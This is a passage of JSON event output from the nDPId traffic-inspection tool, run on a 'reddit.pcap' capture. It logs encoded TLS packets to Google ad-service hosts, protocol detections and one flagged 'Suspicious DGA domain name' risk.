UFJ11GHY2kSQKrmJ\/kOB1LCRLP7t1gZbX2NX0tkhoioCWC2yl2slRbnOAIjFxwAw5gtnsla5NReSxMw0XxI9EqpCO2Zz86Xxi\/QCb48QCqBMEgXYTQCK4BIG6Csy6lCbPZ3wCdT9oFvVJED8KcJlnFQx5JyhI7jkgJVQTZi\/vz54ZyGjqNygg680RQRAg5zBOiLNBRLfbsW9tHxUdujWdNL\/7aJIyITEvL\/yHSl5esuuzJZd6KHubL0w=="} +00872{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9096,"source":"reddit.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":6,"flow_first_seen":1605291690373,"flow_last_seen":1605291690448,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2002","src_port":51006,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"adservice.google.fr","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9097,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":448875,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB68TACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6SvWtbO2MXgBAB8redAAABAQgKVF\/tk8LXSbo="} +00467{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9098,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449108,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgLAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvo6PvOtUOc0w2EoBJXgGkiAAACBAV4AQMDAwQCCArC10m3XwTqiA=="} +02107{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9099,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449109,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgLAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvnyP\/5OOqbsp43gBgLMP6lAAABAQgKwtdJvQxmJz4WAwMAegIAAHYDAy7\/17WiiRblDSpQfOoKBCNx8tklS2ncQgRI6\/e2r4UiIBwq2w1JrwHlb\/2ndJG1eusXeLh3OPImRURXIKxQ06mYEwEAAC4AMwAkAB0AIGMeaissDij6D2XU1E\/g\/Y7F93upHQhVfHmiX\/zfZWV4ACsAAgMEFAMDAAEBFwMDDmdH6bvfNg6cMAFfiF+P9BuvYpKX16zf3EVvI\/Dy3I20gYyAYQ2SS4m+Cv+x713p2duvTI1Vwzh4v4\/ZSD8C3AOJlula4CW6RNYnXzu5kdvjoWB1YCZXT1eeu0+uJwIeBcokQp\/\/puxkxDooaln3NTvgtVQN9JBoCulqvpxm47Vc4bPHRSeC+PI3asSAcc5C4SWQYKdVYYPSvHNh1X1GGAgysIJiLpD08G91kisgkxFY0TodcFGChpHfLWdLYUpF\/PSjpkEfw+XvgdIUNyneyrfi2hmO2nfS7JaVALdxHuhbsJ9YjdMXYV9RjL6BSIh0N5QMrkFEEFmEqcL\/tfaP3LxYKTv3Q72XLhjBeRZi2DXvkEIBpiXGE2RQA5EkD8ZdrD4lDZVjRzE+OQrQ9Rvn5z6kWftR3SrPnAZEc+\/z6S294b\/kACtvrnXntvpaDUJsoQvIWhmeuK6xdmkaiYMpiOAqm7izHf5BfPJAa0+NF9Qe4CTGMgPymvMzpNeNVZ\/qITRJP33dMzgS0UOzm8SanXYiOTf3QaYMKjG\/ZqIfRcIESqvtaAqtpg3w9ME1B1VLXioFgBR8vVXyhMmhKFRkR0sMtvwC\/acn5Y3Xp\/oEpRdO1Kp7QWSXsvAUqDJPzNmKH96ttC08vxMlJcd\/HYzFAKDcR+mqFXoXxwLMkEGp7aMdx2\/yVxJLeqyA1jWh636WuM3S1kP5BHtuFBpRPChocCfM2MrkGgzi3Qrt8m4THAJOahciYqyWC6rYE1JsLUj\/U\/GkteLcThYToH01mUFEaQFuJj5UMcyxykDU18sMpsKYMLGZO\/8U\/cOHzdGf9Z7Yo0ZUQfdN4CBuXe5v2jPRiGdoeTGlhbIo0q1Bq8HG5EjHw\/624zkSvQ1L0Rhy6PV2mtObnRwGcyj5zD7u5Ogo7A87+7GlX\/s81J7oDAwqros0AHnFRdyJrvlGS\/EnrrZreXljifO5kb+YGeZ\/A1oUtK2JLB9WW3Mk6x4uZl0sRt99FA2R8zjwXshGGtZJef2uSY8DKL5CmU+jdCPgH4C4eRriJbgWYkbqYMtZ86HCwiMGaZi72Kw0gZXtYHXIQvjSOinEo7HndOiHkkQGEC8Y6jYWwIRGDiMe9fBE7SUgVcg6ntyXVKpXJGkbz2KuwJ\/2TA4yXNWNJb+qyMFQXkZny5NOfvb59bMVF8p9UbZA5PxztXLC5gI2tF7jIaWhTw9fC6Fcn3rjp2+yOWbjUnBORY1\/P9kn1CxZLZavucJDPz9VMHCOO\/\/p4YuDltkyHcnSp3+0FJ+fSJ71kuyIxiE3uko0XhThsVS+t3mQjEcLmbHPzSw0HF76FQLkmxx\/W7A3BYMpgx8royJuYvqbSlEVQGTcr080kiCVZHBCzPW4h5h8dDhkbOwbhoaRdM4W9B6f0PK2SK2wiUfZM9H4AkFsRg=="} +00873{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9099,"source":"reddit.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1605291690384,"flow_last_seen":1605291690449,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2002","src_port":59336,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"adservice.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02101{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9100,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449110,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgLAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvnyP\/5PaKbsp43gBgLMFrLAAABAQgKwtdJvQxmJz7HNBR9AMmspH551sSIoU+FjxN+S+BvT3i8aoaru9hk77bmhzwPHz\/yctJfEfXDsXE2sR\/cr00Lfah+FriDEzT3kwZo2DemOP0J1zjysVAnwrwaUUvOtr+5LnXvW2j8nKoyK5adkKR2Pe5azOaZXVjfZE2hR9y851wHKggUAFJydWti9jJn\/7ByZhDHh2mS8+QPnxkJxr5zg3O+Utd9mtLa\/Mivm\/d6yhjRh+y0BlC2\/7R9em7\/VGeo9x8dAomg8j3XWxnSmMyO\/\/cR5Y0gPEiiq+q5NcdmplLPlqd9LVwyNxTHWkirjz3FlfeBFd2F4eQ2ALGre39J0B8+kWNVXXyfrf7alwI\/qrYg21UwONAIZQB+kEwOjpSiIVkGDJPAc6ZYhJBQeY99+C5E8NU6\/Z16STEP1KJ8u1r7XE7\/mhzoSC+1s2LHPSA0lIXKiNGFg7RGZWtNyTM63cdiQ7X2prvfg9phRcVmzPiyHx37g0gNpwtjz4u\/djXh3+WyGbDvJ+eRL9QcRZsYSkcBMCprkPhc8GDtjOWNX9BRCf9U2gsehsBcJJ7+Fm2vTXvE6qbrFr5CE0+DhbWXihl9bZ9yS3yjp3CAk6yEqofmw9Y6YTZpK+YpyvYWO9jcM8oky5GrWqbx7k5KjjVW7FTXggbyOVIyCDGYgjXC017an\/7f5RHeBiQGm3sRgHBIRPl0QA1TRdrsZCTzhVXtIAsb1Q97wtQTWIJ2\/kEBbd+HTseXodxCHGMzvMWEAW8bJbRzui4U0y+a4hV3QAYgyLdRwvr1KwlaTrxq5TtpK4PBIQ4dObSIu6VsEla6PRKSkIFGR8vnZLOQWIWqbRIrS0figijxwU80Hb6jJpT3eV56OJ+oho8CaQ\/dbeA9\/dELpYdcPGWko02w+oOQrea6HMIr6Kt7W6pXQ+EJ7\/fojXp3i5pvBKiSkb1LSagQOV++mSzjPmaXVnYNUVQAYKpNBUFwzrRCivWKtyJIyzWqTgPOiD9gbLjxiFAWCQJ5jec5ToHv5Q8RQ0O6HWiGwjpPKm41oII66Jnb3XKUaGGsTfumn4X3qGsyj\/dBV9ULZBVqMqC1HUVF1wHnNIBFT0aaqFul09ojqn7dSvYPxKsKnEgTdspXKvUFkKrRSvqguoIyhJNx33PWge6EbpKUk\/VwHZnnCbSRqeqTMiYb4cUO+FqEQiYB5I2JK9JexFh620OTwQRt3vul3zwevM3W56ojxEwLjO6BN7PNPwBrf+M6T\/ygfDSV73EedWEo8\/3meCUCDl8izxslBR5Y2+ANVQyAGCR8TGx91x\/wZQ4O04n1v4bmsBdp5SJqP1K9tRXaNqxhNTYrKhn7rhOPrOShXCOIhoEGg\/658wARYHPPW8tJ7M1ZVBA2lxrQktW1u65dmmvFvR54OzO3D6GUp9CmP3PdwuouuSmtkLXerGXe6ja9Sz8R80TpAlJEgzggpfpHdjaep7GfFcYdQ4rSagYMLaddLKwnn3vyAZmv9+L4\/e2y9Tw5Wv69PZkQMlQeQ+xA3eI6+ac6dfbX26gRdjhvULcVs2sZy5EbbLp\/icaIj08Ydf5K0F+gYuyOM5Nmx9KgNGCIy8vbnh\/yoF7Y8W5UiRfG9g=="} +02103{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9101,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449111,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHPls7Yxc+kr1rgBgLMI\/+AAABAQgKwtdJulRf7V+sW6T5EprOWe81YNFl6OWXXLXWlz4pye2aVy9hb3z3TXBBOd0F009VYbl6aogCrvO67ej\/2odmnNT3AhGzbJbgf4TU81B4W3XSbFsi2Lkr0yBCGxWZpgFBZ7UxicSsiIHN7E\/pGk2cQCFlq5QyeocfQtXdRsAlGE+Wh\/ZJDWOH8daegj2q6957MbQdCvMbLT7IzVnyWmP6+8jZEtwKxzEr\/sZl5AMkmDWi68LxXHiOFhTyshVQPJUcvdtM4tNk1JX2OllZgYLLLoYNqSwTsfB6sy6wTeaQrsEb6jjh6J3\/M8TX+dRgIJH0xozd8oRcrXUUPAQs5QTE2daCYBWDGGKLX+mL\/GBy7OAshcQII5Yv0sDA1OPfJUFlh0wFD\/Pn6Lh41SETrxxY6\/6lEBQWtgVzNQtGV0ubqS3Vwl1Ag5rstSHKlC1VBv1W44oyG5g4kcH2n4Et4xAoBWXb7EiPA5p2GVPDFLUyLMMJLn8ba94uHjKnovPFYZm2075xPBTPh3njWJvkdadU7IQ9ssDFcyFNkX1Ri\/yF3tsBhz3h62JjWwgAUIQu3T9rc3\/4psn65r+BWTmUeSF973till\/uXVODD2JsItiN1BaFSSfdchV6JpHu2JhGWOqEEhkdkMzSP4MO6b18NfLGSeu9XH0y8bIj0z0CaFpyyi098RdJYcgsFK8LVaXK2h9ZJn6sxcxq7lzz1X7+FTVt7x2ftlNOGJASdcmDTcGMzbPZ+FGXQUrH8HI9ym2bcmKLSoFykZIHy5ju9Yc8xLuGbzfo77ACfjvaoK9qW1mGBB\/RCTuUYFg0DuygG88hdtIR0OUdHPJBRls97PJBZEnP9RFaJ3LkDQTShVqIngwUjF2GXtdlf0dvjHcVlvrsOEF\/5o34QUnqKshihkp1x7iLePpb6r9WJcs6UzNv2+0TKQAAjV78rHhI3oCnNq6DEotVg8zL0qXbSL\/gPAzKgNEjWAjnxh+NlcqUWl3m18uuV\/1rUcpmjarRZ1Xfksgv\/NQLl3CS+P01yU8io0FWFaeoXSX\/zzZD7Lm9fUwFhXbtTgDUk+084aLDJy6Ns6K1LMrdMIMAmZLws0p7RTxRe1LNoPxjhKCzhgZnbp8X\/sZDhwv9nVPiVTmqia0VsRKn7sdTXhrS\/wPXIQtxGLj005XZY5VO6t3pEloOYFWpRbXxRDKYH8aNt3g4nvsI3pHfOunqYti8sn30T4KcoIDHBcJYk3fu9to3zc41QMN4W2QcF\/Ly84ZxlH7\/9yDOO9Fx9xeSGiC8aQ6syUOOAff7insK4PnT361vWydFXw+\/rXIRXorJJFFNSd73fiBfa1DHnGxS1nD50emLuHV2yfxMFmY2K29+Rx1e\/6YyRBio\/xgmRlIMt2cHD1l+Ktbrg1iO3qyV9EyjMv5dWFt8t5DoSRva3vSgDCZSoFso9uVK6qLjzWSruKrRGLMrGxyZsBn5VxaQDICc5JxDWO1B4K9i2oKmPtAk0hsOHq1XM2Fug\/GZ3ma8iullFiHskSu\/AFLIUe\/64cRtyaR\/PwttobuzlXlejgWELPskQNOMztRsh8RQdlinlYBtIWovfW\/zAxUHqg7M4PcTihwKm8JJSho0FZb+Xw=="} +02096{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9102,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449112,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgLAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvnyP\/5Qlqbsp43gBgLMJ8bAAABAQgKwtdJvQxmJz4nGFi8TEMAnPTO60YnrZAXuC456qLcdD2Xg8Q9cJVhqhHOsr+SzLyb9pUyEoTpRzizObK9sZUfRJmS4jK\/Ohp7UE\/fBMJqQvcoQBTXpHtrMWpZOw2+kMo\/0Fl6JEF8gt02wJWXXTMGRhJbbjGCS+s5f8k0jlxcrfShUFdJfh11kruB\/o+FZ1LTKoEpd24q+BTC+zI7r9Ebe+kBKKh7VCS41ISki53HN9xWvBBXWUsaG3uvFCuhPvzXkyEwCPggJx68Hw9cRaZz0RPIsHX+xYe\/PIY1Yc63p3VZEHM1N7Dyyr2jkFlo8raqPN3bKMCfUGJuV6SLFVaOeR8w1NRMICiBDEXI624b3LQKSkWPLPek5TReRDuuRMvj+sflsEDvxGk0qpPSHa7kC9xXXujP6A3F1ypKCYq5hpnnFbYccdyynETyX\/oG6YYfBWuBus2hzPTLYUEddmUF42Uu1kLw62lmh\/2ovWBVRkmWuat\/0irnfhPXhADCszjgXaARgrqnDRyYh8Z4ImOM+pWhEoL3jK6+dYPKhay61vJHv4BqTd5CL7ikVvtUrP\/RMHfFh\/lE52Lx4F4B260LlVSeqLH2ljB1bRK6Ef7sLCZKAL1ANm+aXjX9AmVWMM75T5rgpN1N03Ma7rl+viHteMDpFkHKQcRoMV35Kt7a0KwE32OnOx\/xGk06XmAsEq6P1dGBBPRasRPs66Fgtw8JKqRYJmXdD7thgCEEypTQEv1Kn0IC6Pq1ef00hhAd2YErh95AxvxstXlr\/RwM+iOTDaOjD8lk1+vh\/J8NlHuZ77nej7Dvgr\/CU2XKTkD54\/mXRzEdyuOM1LmSTCamSuAhJ73mSRRvAVJiG6jglk3lTh4Twcr2oEpYH7NEXhjvb6I6PQTQL2AslM3EfKBjNpnrFfL+Sit5MnlmnfK3qLC4sT09doASJjA0euDiNDb7KQlJCReZjJwDFbQnsMiyYUguSQkMsly+FHWEdM3woLrzKA6rAoWF+IJq7Is9JzLzdQVR2yaNOkhLnTkIQU982r9aGLDTMhpOcnGctUmhbKrS96NKDkbFMpAwKwoot2HoslcLDCpGpvkqXxBCmU\/S2n2bdEeXCV7oeDMejnH1pLFXU2fY8xqKQE2ONN6BEzHVVJFvZB6lhjYlhb3QTk2dRhw0RxTjXjyCUf+80J0gm0kWQlkp5U2FXiWAoF7r8Ooh+GwuA6Zx4v7Ocry315ZzeXOKBn2RHn+lLjSKfmX7gj6qftAEif3ZiDpD4DY81Ct9UP6bxAqaSx1RTg5eggAKqV0R8NcJnInvzoALSSh\/BULTAf0l\/IlX7X3DOXMlPApiIzcoGfGSYbALpnEjUV5fiYcoky7KGn2h7ZgPbk4TlePZR7LPLkdDqiqHq5B8w9KbpdjQyf\/V3eYKKjiw0qP3L+tlYkHAvcmDs0KnxIDhfBubDP0RsO\/xCOnxGFNA5RveoeZAb7V7svpNlnQ\/4g+aHKdeUzmyHngcFdYm5Dogw8BN7yVEZDxkK0jxQLszLt\/qghtGAVtHnUrGmqfE5pr+mhft55JZFqxBGSENp33GeLqrIzJqp6aAem6fpBPT9m0Z+B0o6yHvfueBuEW13+42+zDFlA=="} +00757{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9103,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449112,"pkt_caplen":305,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":305,"pkt_l4_len":251,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAPsGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHPls7Z88+kr1rgBgLMOHzAAABAQgKwtdJulRf7V9tB3H5DPpTeBo0wVpYnMhUOmaxIICljpIa34pVBkZpLMoFgZl\/uikyKGGq68+zSJCNTfecY5zW9\/5+j86lCFPVd0F+gw994LnfuEM5\/tuhsyZVPkdpC4YF2pX+qW\/5Ck2bgbFYpnXwC75r2jPmrNPeZUTImQeRrmznGP0MPoJh2WkWJZgik8c0QNTvqPby7AAbmch6z5MqaxGa5ivVyLsxu1FbdJFZVyqiAzTOkskyEPZPOJpIbKrsq5T7GmY\/XwgvYRrEmUTafl\/gkbF2F5jvVtHihPI++Ntyb\/Q="} +00734{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9104,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449113,"pkt_caplen":287,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":287,"pkt_l4_len":233,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAOkGPSoAFFBABwgLAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvnyP\/5RxKbsp43gBgLMNPCAAABAQgKwtdJvQxmJz7mcN\/1bhMhxOy0\/ci6g3QPSjFpHbaK6ZM2uunEJ\/pU035RHYT7s2wmMK2NY0vyIygioZi1migRrvYm3RLl8Qw9BLudW1lBI9+nikcObi1DjppgKERzgQMLpzF+WsLjhBhcZ7vBMffpub8kO5ySiGCE\/9BpI6CGvOAW4R28KMUYmedt24XNP07n+TmfvxEcl+9xsPvCbUuRbaU6I6WhtRYut3AZUT3N\/vNuj8wYTfGXkwok8QHe\/KehuxZZhIEIxivGq7MBEM2\/Ux0="} +00454{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9105,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449141,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTDYT7zrVEgBAB++0WAAABAQgKXwTqpcLXSbc="} +00456{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9106,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449160,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynjf\/+T2igBAB9efyAAABAQgKDGYnbMLXSb0="} +00456{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9107,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449170,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynjf\/+UJagBAB8uM9AAABAQgKDGYnbMLXSb0="} +00456{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9108,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449176,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB68TACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6SvWtbO2fPgBAB9bLhAAABAQgKVF\/tlMLXSbo="} +00456{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9109,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449184,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynjf\/+UcSgBAB696MAAABAQgKDGYnbMLXSb0="} +00456{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9110,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449191,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB68TACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6SvWtbO2iqgBAB9bIGAAABAQgKVF\/tlMLXSbo="} +00456{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9111,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449198,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynjf\/+UfbgBAB6t3EAAABAQgKDGYnbMLXSb0="} +01148{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9112,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":449801,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTDYT7zrVEgBgB+08XAAABAQgKXwTqpcLXSbcWAwECAAEAAfwDAxCE81jPge8Q+eqa2\/VX8jLyZJaHeUn1XbD4+8ZfZCrNIP1iGayHUC21LtXXhZv4JDAqZ2p5lGfiZ6mCAOAtx5YLACBKShMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAARQBDAABAOGE3NTVhM2ZlZjBiMTg5ZDhhYjViMGQxMDc1OGY2OGEuc2FmZWZyYW1lLmdvb2dsZXN5bmRpY2F0aW9uLmNvbQAXAAD\/AQABAAAKAAoACOrqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwAp6uoAAQAAHQAg8Yk1cLvPAYaln8LnFtEe1h9mnh8DzZmOv04zXf8MiXgALQACAQEAKwALCmpqAwQDAwMCAwEAGwADAgACGhoAAQAAFQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00914{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9112,"source":"reddit.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1605291690421,"flow_last_seen":1605291690449,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2001","src_port":59624,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"8a755a3fef0b189d8ab5b0d10758f68a.safeframe.googlesyndication.co","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00542{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9113,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":455992,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gB68TAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6SvWtbO2iqgBgB9TUeAAABAQgKVF\/tmsLXSboUAwMAAQEXAwMANd4NjEUeIX74ArFsjp+bUZypXFq6lPI8rim6QYxU2JflDdSJkL4uoUd0SO3Tzk5FC5enP3u6"} 